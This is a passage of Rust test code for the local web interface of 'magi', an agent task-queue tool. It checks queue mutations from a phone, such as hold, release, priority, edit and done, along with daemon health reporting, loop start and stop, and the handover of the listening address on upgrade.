7816        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
7817        assert_eq!(f.edges[0].attempt, AttemptCost::None);
7818    }
7819
7820    /// A run parked mid-flight keeps a non-terminal status; the page must
7821    /// still say why it stopped and that the attempt came back.
7822    #[test]
7823    fn a_parked_non_terminal_run_is_explained_as_parked() {
7824        let mut s = RunState::new(
7825            PathBuf::from("/repo/magi"),
7826            "main".to_owned(),
7827            "0123456789abcdef".to_owned(),
7828            "Do it".to_owned(),
7829            Config::default(),
7830        );
7831        s.status = RunStatus::Implementing;
7832        s.parked = true;
7833        let task = Task::new(
7834            "t".to_owned(),
7835            "Do it".to_owned(),
7836            PathBuf::from("/repo/magi"),
7837            Source::Human,
7838        );
7839        let v = task_run_view(
7840            "20260902-140501-aaaa",
7841            Some(&s),
7842            RunSlot {
7843                n: 1,
7844                resumed: false,
7845                resumed_later: None,
7846                prior: None,
7847                last: true,
7848            },
7849            &task,
7850        );
7851        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
7852    }
7853
7854    #[tokio::test]
7855    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
7856        let f = Fixture::start().await;
7857        let queue = f.queue();
7858        let mut task = Task::new(
7859            "spent".to_owned(),
7860            "Try again".to_owned(),
7861            PathBuf::from("/repo/magi"),
7862            Source::Human,
7863        );
7864        task.start("20260902-140502-bbbb".to_owned());
7865        task.fail("agent gave up", 9);
7866        queue.put(&mut task).expect("file the task");
7867
7868        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7869        assert_eq!(held.status, 200);
7870        assert_eq!(held.json()["status_str"], "held");
7871
7872        let released = f
7873            .post(&format!("/api/queue/{}/release", task.id), None)
7874            .await;
7875        assert_eq!(released.status, 200);
7876        assert_eq!(released.json()["status_str"], "queued");
7877        assert_eq!(
7878            released.json()["attempts"],
7879            0,
7880            "release is a real second chance, not an instant re-hold"
7881        );
7882        assert_eq!(
7883            queue.get(&task.id).expect("reload").status,
7884            TaskStatus::Queued,
7885            "the change is on disk, not only in the reply"
7886        );
7887        assert!(
7888            !f.home
7889                .path()
7890                .join("queue")
7891                .join(format!("{}.lock", task.id))
7892                .exists(),
7893            "the claim the mutation took is released again"
7894        );
7895    }
7896
7897    #[tokio::test]
7898    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
7899        let f = Fixture::start().await;
7900        let queue = f.queue();
7901        let mut task = Task::new(
7902            "busy".to_owned(),
7903            "Running right now".to_owned(),
7904            PathBuf::from("/repo/magi"),
7905            Source::Human,
7906        );
7907        queue.put(&mut task).expect("file the task");
7908        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7909
7910        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7911
7912        assert_eq!(res.status, 409);
7913        assert_eq!(
7914            queue.get(&task.id).expect("reload").status,
7915            TaskStatus::Queued,
7916            "the refused hold changed nothing"
7917        );
7918    }
7919
7920    #[tokio::test]
7921    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
7922        let f = Fixture::start().await;
7923        let queue = f.queue();
7924        let mut task = Task::new(
7925            "waiting on the migration".to_owned(),
7926            "Do the thing".to_owned(),
7927            PathBuf::from("/repo/magi"),
7928            Source::Human,
7929        );
7930        queue.put(&mut task).expect("file the task");
7931
7932        let held = f
7933            .post(
7934                &format!("/api/queue/{}/hold", task.id),
7935                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
7936            )
7937            .await;
7938        assert_eq!(held.status, 200, "{}", held.body);
7939        assert_eq!(held.json()["status_str"], "held");
7940        assert_eq!(
7941            held.json()["hold_reason"],
7942            "waiting for 20260101-000000-aaaa to land"
7943        );
7944
7945        let listed = f.get("/api/queue").await.json();
7946        assert_eq!(
7947            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
7948            "the card reads the reason off the same list route"
7949        );
7950
7951        // A hold with no body at all must keep working - most holds have no
7952        // reason to give.
7953        let mut plain = Task::new(
7954            "no reason given".to_owned(),
7955            "Do another thing".to_owned(),
7956            PathBuf::from("/repo/magi"),
7957            Source::Human,
7958        );
7959        queue.put(&mut plain).expect("file the task");
7960        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
7961        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
7962        assert!(held_plain.json()["hold_reason"].is_null());
7963
7964        let released = f
7965            .post(&format!("/api/queue/{}/release", task.id), None)
7966            .await;
7967        assert_eq!(released.status, 200);
7968        assert!(
7969            released.json()["hold_reason"].is_null(),
7970            "a release must clear the reason so the next hold does not inherit it"
7971        );
7972    }
7973
7974    #[tokio::test]
7975    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7976        let f = Fixture::start().await;
7977        let queue = f.queue();
7978        let mut older = Task::new(
7979            "filed first".to_owned(),
7980            "x".to_owned(),
7981            PathBuf::from("/repo/magi"),
7982            Source::Human,
7983        );
7984        older.id = "20260101-000001-aaaa".to_owned();
7985        let mut newer = Task::new(
7986            "filed second".to_owned(),
7987            "x".to_owned(),
7988            PathBuf::from("/repo/magi"),
7989            Source::Human,
7990        );
7991        newer.id = "20260101-000002-bbbb".to_owned();
7992        queue.put(&mut older).expect("file older");
7993        queue.put(&mut newer).expect("file newer");
7994
7995        // Equal priority: the newer task leads, the same order the old
7996        // newest-first `list()` already gave every equal-priority queue.
7997        let before = f.get("/api/queue").await.json();
7998        assert_eq!(before[0]["id"], newer.id);
7999        assert_eq!(before[1]["id"], older.id);
8000
8001        // Raising the *older* task is the meaningful case: it can only lead
8002        // now because its priority says so, not because it happens to be
8003        // newest.
8004        let raised = f
8005            .post(
8006                &format!("/api/queue/{}/priority", older.id),
8007                Some(r#"{"priority":10}"#),
8008            )
8009            .await;
8010        assert_eq!(raised.status, 200, "{}", raised.body);
8011        assert_eq!(raised.json()["priority"], 10);
8012
8013        let after = f.get("/api/queue").await.json();
8014        let names: Vec<&str> = after
8015            .as_array()
8016            .unwrap()
8017            .iter()
8018            .map(|t| t["id"].as_str().unwrap())
8019            .collect();
8020        // Highest priority first, which is the order next_runnable and
8021        // `magi task list` both use - GET /api/queue must agree with it
8022        // immediately, not just once the loop claims the task.
8023        assert_eq!(names[0], older.id, "the raised task now sorts first");
8024    }
8025
8026    #[tokio::test]
8027    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
8028        let f = Fixture::start().await;
8029        let queue = f.queue();
8030        let mut task = Task::new(
8031            "in flight".to_owned(),
8032            "x".to_owned(),
8033            PathBuf::from("/repo/magi"),
8034            Source::Human,
8035        );
8036        task.start("20260902-140502-bbbb".to_owned());
8037        queue.put(&mut task).expect("file the task");
8038
8039        let res = f
8040            .post(
8041                &format!("/api/queue/{}/priority", task.id),
8042                Some(r#"{"priority":9}"#),
8043            )
8044            .await;
8045        assert_eq!(res.status, 400, "{}", res.body);
8046        assert!(
8047            res.json()["error"]
8048                .as_str()
8049                .is_some_and(|e| e.contains("running")),
8050            "{}",
8051            res.body
8052        );
8053        assert_eq!(
8054            queue.get(&task.id).expect("reload").priority,
8055            0,
8056            "the refused write must not partially apply"
8057        );
8058    }
8059
8060    #[tokio::test]
8061    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
8062        let f = Fixture::start().await;
8063        let queue = f.queue();
8064        let mut task = Task::new(
8065            "old title".to_owned(),
8066            "old instruction".to_owned(),
8067            PathBuf::from("/repo/magi"),
8068            Source::Agent {
8069                run: "20260101-000000-beef".to_owned(),
8070                node: "implement".to_owned(),
8071            },
8072        );
8073        task.runs.push("20260101-000000-beef".to_owned());
8074        queue.put(&mut task).expect("file the task");
8075        let created_at = task.created_at;
8076
8077        let edited = f
8078            .post(
8079                &format!("/api/queue/{}/edit", task.id),
8080                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
8081            )
8082            .await;
8083        assert_eq!(edited.status, 200, "{}", edited.body);
8084        let body = edited.json();
8085        assert_eq!(body["title"], "new title");
8086        assert_eq!(body["instruction"], "new instruction");
8087        assert_eq!(body["id"], task.id, "editing must not mint a new id");
8088        assert_eq!(body["created_at"], created_at.to_string());
8089        assert_eq!(
8090            body["source"]["kind"], "agent",
8091            "editing a task an agent filed must not turn it human: {body}"
8092        );
8093        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
8094
8095        let reloaded = queue.get(&task.id).expect("reload");
8096        assert_eq!(reloaded.title, "new title");
8097        assert_eq!(reloaded.instruction, "new instruction");
8098    }
8099
8100    #[tokio::test]
8101    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
8102        let f = Fixture::start().await;
8103        let queue = f.queue();
8104        let mut owner = Task::new(
8105            "owner".to_owned(),
8106            "review it".to_owned(),
8107            PathBuf::from("/repo/magi"),
8108            Source::Human,
8109        );
8110        owner.review_branch = Some("magi/ab12/A".to_owned());
8111        queue.put(&mut owner).expect("file the owner");
8112        let mut task = Task::new(
8113            "draft".to_owned(),
8114            "old".to_owned(),
8115            PathBuf::from("/repo/magi"),
8116            Source::Human,
8117        );
8118        queue.put(&mut task).expect("file the draft");
8119        let url = format!("/api/queue/{}/edit", task.id);
8120
8121        let refused = f
8122            .post(
8123                &url,
8124                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
8125            )
8126            .await;
8127        assert_eq!(refused.status, 409, "{}", refused.body);
8128        let msg = refused.json()["error"]
8129            .as_str()
8130            .unwrap_or_default()
8131            .to_owned();
8132        assert!(
8133            msg.contains("magi/ab12/A") && msg.contains("force"),
8134            "{msg}"
8135        );
8136        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
8137
8138        let forced = f
8139            .post(
8140                &url,
8141                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
8142            )
8143            .await;
8144        assert_eq!(forced.status, 200, "{}", forced.body);
8145    }
8146
8147    #[tokio::test]
8148    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
8149        let f = Fixture::start().await;
8150        let queue = f.queue();
8151        let mut task = Task::new(
8152            "in flight".to_owned(),
8153            "do not touch".to_owned(),
8154            PathBuf::from("/repo/magi"),
8155            Source::Human,
8156        );
8157        task.start("20260902-140502-bbbb".to_owned());
8158        queue.put(&mut task).expect("file the task");
8159
8160        let res = f
8161            .post(
8162                &format!("/api/queue/{}/edit", task.id),
8163                Some(r#"{"title":"x","instruction":"y"}"#),
8164            )
8165            .await;
8166        assert_eq!(res.status, 400, "{}", res.body);
8167        assert!(
8168            res.json()["error"]
8169                .as_str()
8170                .is_some_and(|e| e.contains("running")),
8171            "{}",
8172            res.body
8173        );
8174        assert_eq!(
8175            queue.get(&task.id).expect("reload").instruction,
8176            "do not touch",
8177            "the refused edit must not change the file"
8178        );
8179    }
8180
8181    #[tokio::test]
8182    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
8183        let f = Fixture::start().await;
8184        let queue = f.queue();
8185        let mut task = Task::new(
8186            "busy".to_owned(),
8187            "Running right now".to_owned(),
8188            PathBuf::from("/repo/magi"),
8189            Source::Human,
8190        );
8191        queue.put(&mut task).expect("file the task");
8192        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
8193
8194        let priority = f
8195            .post(
8196                &format!("/api/queue/{}/priority", task.id),
8197                Some(r#"{"priority":9}"#),
8198            )
8199            .await;
8200        assert_eq!(priority.status, 409, "{}", priority.body);
8201
8202        let edit = f
8203            .post(
8204                &format!("/api/queue/{}/edit", task.id),
8205                Some(r#"{"title":"x","instruction":"y"}"#),
8206            )
8207            .await;
8208        assert_eq!(edit.status, 409, "{}", edit.body);
8209    }
8210
8211    #[tokio::test]
8212    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
8213        let f = Fixture::start().await;
8214        let queue = f.queue();
8215        let mut task = Task::new(
8216            "shipped by hand".to_owned(),
8217            "merged outside the loop".to_owned(),
8218            PathBuf::from("/repo/magi"),
8219            Source::Agent {
8220                run: "20260101-000000-b455".to_owned(),
8221                node: "implement".to_owned(),
8222            },
8223        );
8224        task.runs.push("20260101-000000-b455".to_owned());
8225        task.runs.push("20260101-000000-9af4".to_owned());
8226        queue.put(&mut task).expect("file the task");
8227        let created_at = task.created_at;
8228
8229        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8230        assert_eq!(done.status, 200, "{}", done.body);
8231        assert_eq!(done.json()["status_str"], "done");
8232
8233        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
8234        assert_eq!(
8235            reloaded.runs,
8236            ["20260101-000000-b455", "20260101-000000-9af4"]
8237        );
8238        assert_eq!(
8239            reloaded.source,
8240            Source::Agent {
8241                run: "20260101-000000-b455".to_owned(),
8242                node: "implement".to_owned(),
8243            }
8244        );
8245        assert_eq!(reloaded.created_at, created_at);
8246    }
8247
8248    #[tokio::test]
8249    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
8250        // `done` is allowed on any status, including `held`, with no release
8251        // in between - so a task held for a reason and then closed directly
8252        // must not keep reading as "waiting on" it afterwards, on its card or
8253        // in `magi task show`.
8254        let f = Fixture::start().await;
8255        let queue = f.queue();
8256        let mut task = Task::new(
8257            "landed while held".to_owned(),
8258            "x".to_owned(),
8259            PathBuf::from("/repo/magi"),
8260            Source::Human,
8261        );
8262        task.hold_manual(Some("waiting on 3ed9".to_owned()));
8263        queue.put(&mut task).expect("file the held task");
8264
8265        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8266        assert_eq!(done.status, 200, "{}", done.body);
8267        assert_eq!(done.json()["status_str"], "done");
8268        assert!(
8269            done.json()["hold_reason"].is_null(),
8270            "a done task cannot still be waiting on something: {}",
8271            done.body
8272        );
8273    }
8274
8275    #[tokio::test]
8276    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
8277        // `queue_done` is the phone's way to close a task the loop never
8278        // settled itself - after confirming a manual GitHub merge, say - and
8279        // that is just as much "this task's story is over" as the loop's own
8280        // `Merged`/`Ready` path, so it must trigger the same cleanup.
8281        let f = Fixture::start().await;
8282        let queue = f.queue();
8283        let runs = f.runs();
8284        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
8285        // The last attempt has to have actually landed for the earlier one
8286        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
8287        // for the case where it didn't.
8288        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
8289
8290        let mut task = Task::new(
8291            "landed by hand".to_owned(),
8292            "x".to_owned(),
8293            PathBuf::from("/repo/magi"),
8294            Source::Human,
8295        );
8296        task.runs.push("20260101-000000-doa1".to_owned());
8297        task.runs.push("20260101-000000-doa2".to_owned());
8298        queue.put(&mut task).expect("file the task");
8299
8300        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8301        assert_eq!(done.status, 200, "{}", done.body);
8302
8303        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
8304            .expect("run still on disk under this fixture's own home");
8305        assert_eq!(
8306            reloaded_run.status,
8307            RunStatus::Superseded,
8308            "closing the task by hand must relabel the earlier blocked attempt exactly \
8309             like the loop's own settle path does"
8310        );
8311    }
8312
8313    #[tokio::test]
8314    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
8315        // Closing a task by hand is allowed from any status, including one
8316        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
8317        // manual merge the loop never watched, say. Nothing here is provably
8318        // why the task is done, so nothing earlier gets relabelled either.
8319        let f = Fixture::start().await;
8320        let queue = f.queue();
8321        let runs = f.runs();
8322        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
8323        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
8324
8325        let mut task = Task::new(
8326            "closed with nothing actually landed".to_owned(),
8327            "x".to_owned(),
8328            PathBuf::from("/repo/magi"),
8329            Source::Human,
8330        );
8331        task.runs.push("20260101-000000-dob1".to_owned());
8332        task.runs.push("20260101-000000-dob2".to_owned());
8333        queue.put(&mut task).expect("file the task");
8334
8335        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8336        assert_eq!(done.status, 200, "{}", done.body);
8337
8338        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
8339            .expect("run still on disk under this fixture's own home");
8340        assert_eq!(
8341            reloaded_run.status,
8342            RunStatus::Blocked,
8343            "the last recorded attempt never landed, so the earlier one must not be \
8344             relabelled as superseded by it"
8345        );
8346    }
8347
8348    #[tokio::test]
8349    async fn unknown_ids_are_json_not_found_on_both_stores() {
8350        let f = Fixture::start().await;
8351
8352        let run = f.get("/api/runs/nosuchrun").await;
8353        let task = f.post("/api/queue/nosuchtask/hold", None).await;
8354
8355        assert_eq!(run.status, 404);
8356        assert_eq!(task.status, 404);
8357        assert!(
8358            run.json()["error"]
8359                .as_str()
8360                .is_some_and(|e| e.contains("run")),
8361            "the error names what was not found: {}",
8362            run.body
8363        );
8364        assert!(
8365            task.json()["error"]
8366                .as_str()
8367                .is_some_and(|e| e.contains("task")),
8368            "the error names what was not found: {}",
8369            task.body
8370        );
8371    }
8372
8373    #[tokio::test]
8374    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
8375        let f = Fixture::start().await;
8376
8377        let missing = f.get("/api/health").await.json();
8378        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
8379
8380        write_daemon(
8381            f.home.path(),
8382            Timestamp::now() - jiff::SignedDuration::from_secs(60),
8383        );
8384        let stale = f.get("/api/health").await.json();
8385        assert_eq!(
8386            stale["daemon"]["running"], false,
8387            "a minute without a heartbeat is a dead daemon, not a busy one"
8388        );
8389        assert!(
8390            stale["daemon"]["stale_for_secs"]
8391                .as_i64()
8392                .is_some_and(|s| s >= 55),
8393            "staleness is reported so the UI can say how long: {stale}"
8394        );
8395
8396        write_daemon(f.home.path(), Timestamp::now());
8397        let fresh = f.get("/api/health").await.json();
8398        assert_eq!(fresh["daemon"]["running"], true);
8399        assert_eq!(fresh["daemon"]["idle"], false);
8400        assert_eq!(fresh["daemon"]["pid"], 4242);
8401        assert_eq!(fresh["daemon"]["completed"], 7);
8402        assert_eq!(
8403            fresh["daemon"]["current"][0]["task"],
8404            "20260902-140501-aaaa"
8405        );
8406        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
8407    }
8408
8409    #[tokio::test]
8410    async fn the_loop_is_not_running_until_something_starts_it() {
8411        let f = Fixture::start().await;
8412
8413        let view = f.get("/api/loop").await.json();
8414        assert_eq!(view["running"], false);
8415        assert_eq!(
8416            view["owned"], false,
8417            "nobody owns a loop that does not exist: {view}"
8418        );
8419        assert_eq!(view["stopping"], false);
8420        assert_eq!(view["last_error"], Value::Null);
8421        assert_eq!(view["daemon"]["running"], false);
8422        assert_eq!(
8423            view["repo"], "/repo/magi",
8424            "the repository a start would use, named before it is started"
8425        );
8426    }
8427
8428    #[tokio::test]
8429    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
8430        let f = Fixture::start().await;
8431
8432        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8433        assert_eq!(res.status, 200, "{}", res.body);
8434        let view = res.json();
8435        assert_eq!(view["running"], true);
8436        assert_eq!(
8437            view["owned"], true,
8438            "the loop the UI started is the UI's own to stop: {view}"
8439        );
8440        assert_eq!(
8441            view["merge"],
8442            Value::Null,
8443            "no override was given, so each repository's own config decides"
8444        );
8445
8446        // The same object from the route a waking phone polls first. Two
8447        // surfaces disagreeing about whether anything is running is exactly
8448        // the confusion this UI exists to remove.
8449        let health = f.get("/api/health").await.json();
8450        assert_eq!(health["loop"]["running"], true, "{health}");
8451        assert_eq!(health["loop"]["owned"], true, "{health}");
8452
8453        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8454    }
8455
8456    #[tokio::test]
8457    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
8458        let f = Fixture::start().await;
8459        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8460        assert_eq!(first.status, 200, "{}", first.body);
8461
8462        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8463        assert_eq!(
8464            again.status, 409,
8465            "two loops on one queue race for the same claims: {}",
8466            again.body
8467        );
8468        assert!(
8469            again.json()["error"]
8470                .as_str()
8471                .is_some_and(|e| e.contains("already running the loop")),
8472            "the refusal has to say why: {}",
8473            again.body
8474        );
8475        assert_eq!(
8476            f.get("/api/loop").await.json()["running"],
8477            true,
8478            "and the loop that was already running is untouched by it"
8479        );
8480
8481        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8482    }
8483
8484    #[tokio::test]
8485    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
8486        let f = Fixture::start().await;
8487        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8488
8489        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8490        assert_eq!(
8491            res.status, 200,
8492            "the answer must not wait for the loop: a run in flight is tens of \
8493             minutes and the operator is holding a phone: {}",
8494            res.body
8495        );
8496
8497        let view = settled(&f, |v| v["running"] == false).await;
8498        assert_eq!(view["owned"], false);
8499        assert_eq!(
8500            view["stopping"], false,
8501            "a loop that has stopped is not still stopping: {view}"
8502        );
8503        assert_eq!(
8504            view["last_error"],
8505            Value::Null,
8506            "a loop that was asked to stop did not fail: {view}"
8507        );
8508
8509        // Idempotent, because the operator cannot tell a slow stop from a lost
8510        // one and will press it again.
8511        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8512        assert_eq!(twice.status, 200, "{}", twice.body);
8513    }
8514
8515    #[tokio::test]
8516    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
8517        let f = Fixture::start().await;
8518        // How the operator has been doing it: a `magi serve` of their own,
8519        // heartbeat fresh, in the same home this UI reads.
8520        write_daemon(f.home.path(), Timestamp::now());
8521
8522        let view = f.get("/api/loop").await.json();
8523        assert_eq!(view["running"], false, "not in this process: {view}");
8524        assert_eq!(view["owned"], false, "and not this process's to control");
8525        assert_eq!(
8526            view["daemon"]["running"], true,
8527            "but a loop is alive somewhere, which is what the UI must say"
8528        );
8529        assert_eq!(view["daemon"]["pid"], 4242);
8530
8531        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
8532            let res = f.post("/api/loop", Some(body)).await;
8533            assert_eq!(
8534                res.status, 409,
8535                "neither button may pretend to work on someone else's loop: {}",
8536                res.body
8537            );
8538            assert!(
8539                res.json()["error"]
8540                    .as_str()
8541                    .is_some_and(|e| e.contains("4242")),
8542                "the refusal has to name the process the operator must go to: {}",
8543                res.body
8544            );
8545        }
8546        assert_eq!(
8547            f.get("/api/loop").await.json()["running"],
8548            false,
8549            "and the refusal started nothing"
8550        );
8551    }
8552
8553    #[tokio::test]
8554    async fn a_stale_status_file_is_not_a_foreign_owner() {
8555        let f = Fixture::start().await;
8556        write_daemon(
8557            f.home.path(),
8558            Timestamp::now() - jiff::SignedDuration::from_secs(60),
8559        );
8560
8561        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8562        assert_eq!(
8563            res.status, 200,
8564            "a daemon killed a minute ago must not lock the loop out of its \
8565             own home for good: {}",
8566            res.body
8567        );
8568        assert_eq!(res.json()["running"], true);
8569
8570        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8571    }
8572
8573    #[tokio::test]
8574    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
8575        let f = Fixture::start().await;
8576        let before = f.get("/api/health").await.json()["loop_rev"]
8577            .as_u64()
8578            .expect("a loop revision");
8579
8580        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8581
8582        let after = f.get("/api/health").await.json()["loop_rev"]
8583            .as_u64()
8584            .expect("a loop revision");
8585        assert!(
8586            after > before,
8587            "the loop is in-process state, so this counter is the only thing \
8588             that tells a second device the first one started it: {before} -> \
8589             {after}"
8590        );
8591
8592        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8593    }
8594
8595    #[tokio::test]
8596    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
8597        let f = Fixture::with_loop(launch_broken).await;
8598
8599        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8600        assert_eq!(
8601            res.status, 200,
8602            "starting it is not the failure: {}",
8603            res.body
8604        );
8605
8606        let view = settled(&f, |v| v["last_error"].is_string()).await;
8607        assert_eq!(
8608            view["running"], false,
8609            "a loop that died must not read as running, or the operator has \
8610             nothing to press: {view}"
8611        );
8612        assert_eq!(view["owned"], false);
8613        assert!(
8614            view["last_error"]
8615                .as_str()
8616                .is_some_and(|e| e.contains("read-only file system")),
8617            "the phone is where a loop that died at 3am is visible: {view}"
8618        );
8619
8620        // And it can be started again: the corpse was reaped, not left to
8621        // occupy the slot.
8622        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8623        assert_eq!(again.status, 200, "{}", again.body);
8624        assert_eq!(
8625            again.json()["last_error"],
8626            Value::Null,
8627            "a fresh start does not keep showing why the last one died"
8628        );
8629    }
8630
8631    /// An upgrade parks the run in flight before it restarts, and a park waits
8632    /// for the node - up to `timeout_implement`, an hour by default. The deck
8633    /// has to answer for all of it: the operator has just been told a run is
8634    /// finishing first, and this address is the only place that says how it is
8635    /// going. It did not, once - the listener went with the `select!` arm that
8636    /// began the handover, and the phone got `Cannot reach magi: Failed to
8637    /// fetch` for the rest of the wave.
8638    ///
8639    /// The other half is the older rule: the address must be free *before* the
8640    /// successor is started, or it dies on "address already in use" with its
8641    /// stdio sent to null and the deck never comes back.
8642    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
8643    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
8644        let home = TempDir::new().expect("temp home");
8645        let runs = home.path().join("runs");
8646        std::fs::create_dir_all(&runs).expect("runs dir");
8647        let ui = Ui::new(
8648            Queue::at(home.path().join("queue")),
8649            Questions::at(home.path().join("questions")),
8650            Talks::at(home.path().join("talks")),
8651            runs,
8652            home.path().to_path_buf(),
8653            PathBuf::from("/repo/magi"),
8654        )
8655        .with_worktrees_root(home.path().join("wt"))
8656        .with_launch(launch_knocking_on_the_way_out);
8657        let looping = ui.looping();
8658        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8659            .await
8660            .expect("bind loopback");
8661        let addr = listener.local_addr().expect("local addr");
8662        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
8663        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8664
8665        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
8666        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
8667
8668        // The successor's whole job, and the one thing it cannot do while this
8669        // process still holds the socket.
8670        //
8671        // One bind is not enough, and the reason is not this process's order of
8672        // operations: aborting the accept loop drops the listener, but axum
8673        // serves each accepted connection on a task of its own, and those are
8674        // not aborted. The requests above left sockets on this very address,
8675        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
8676        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
8677        // Production absorbs that in `bind_waiting`; so does this. Only
8678        // `AddrInUse` is retried, and the listener is released before the
8679        // closure returns - were the order wrong, the listener would outlive
8680        // the closure and every attempt would fail. Inferred from the bind
8681        // rules and the code; not reproduced on macOS.
8682        let bound = std::sync::Mutex::new(None);
8683        hand_over(home.path(), &looping, served, |_| {
8684            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
8685            let attempt = loop {
8686                match std::net::TcpListener::bind(addr) {
8687                    Ok(l) => {
8688                        drop(l);
8689                        break Ok(());
8690                    }
8691                    Err(e)
8692                        if e.kind() == std::io::ErrorKind::AddrInUse
8693                            && std::time::Instant::now() < deadline =>
8694                    {
8695                        std::thread::sleep(std::time::Duration::from_millis(10));
8696                    }
8697                    Err(e) => break Err(e.to_string()),
8698                }
8699            };
8700            *bound.lock().expect("bound") = Some(attempt);
8701            Ok(())
8702        })
8703        .await
8704        .expect("hand over");
8705
8706        assert_eq!(
8707            *PARK_HEARD.lock().expect("park heard"),
8708            Some(200),
8709            "the deck must answer while the loop is parking"
8710        );
8711        let attempt = bound
8712            .lock()
8713            .expect("bound")
8714            .take()
8715            .expect("the successor was started");
8716        assert!(
8717            attempt.is_ok(),
8718            "and the address must be free by the time it is: {attempt:?}"
8719        );
8720    }
8721
8722    #[tokio::test]
8723    async fn a_newer_daemon_status_file_still_renders() {
8724        let f = Fixture::start().await;
8725        // A field this build has never heard of must not turn the status line
8726        // into a 500; that is the whole reason the reader is permissive.
8727        std::fs::write(
8728            f.home.path().join("daemon.json"),
8729            serde_json::json!({
8730                "schema": 2,
8731                "updated_at": Timestamp::now().to_string(),
8732                "idle": true,
8733                "surprise": { "nested": [1, 2, 3] },
8734            })
8735            .to_string(),
8736        )
8737        .expect("write daemon.json");
8738
8739        let health = f.get("/api/health").await;
8740
8741        assert_eq!(health.status, 200);
8742        assert_eq!(health.json()["daemon"]["running"], true);
8743    }
8744
8745    #[tokio::test]
8746    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
8747        let f = Fixture::start().await;
8748        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
8749        let broken = f.runs().join("20260902-140502-bad");
8750        std::fs::create_dir_all(&broken).expect("run dir");
8751        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
8752
8753        let list = f.get("/api/runs").await;
8754        let detail = f.get("/api/runs/20260902-140502-bad").await;
8755
8756        assert_eq!(list.status, 200);
8757        let listed = list.json();
8758        let ids: Vec<&str> = listed
8759            .as_array()
8760            .expect("an array")
8761            .iter()
8762            .map(|r| r["id"].as_str().expect("an id"))
8763            .collect();
8764        assert_eq!(
8765            ids,
8766            vec!["20260902-140501-good"],
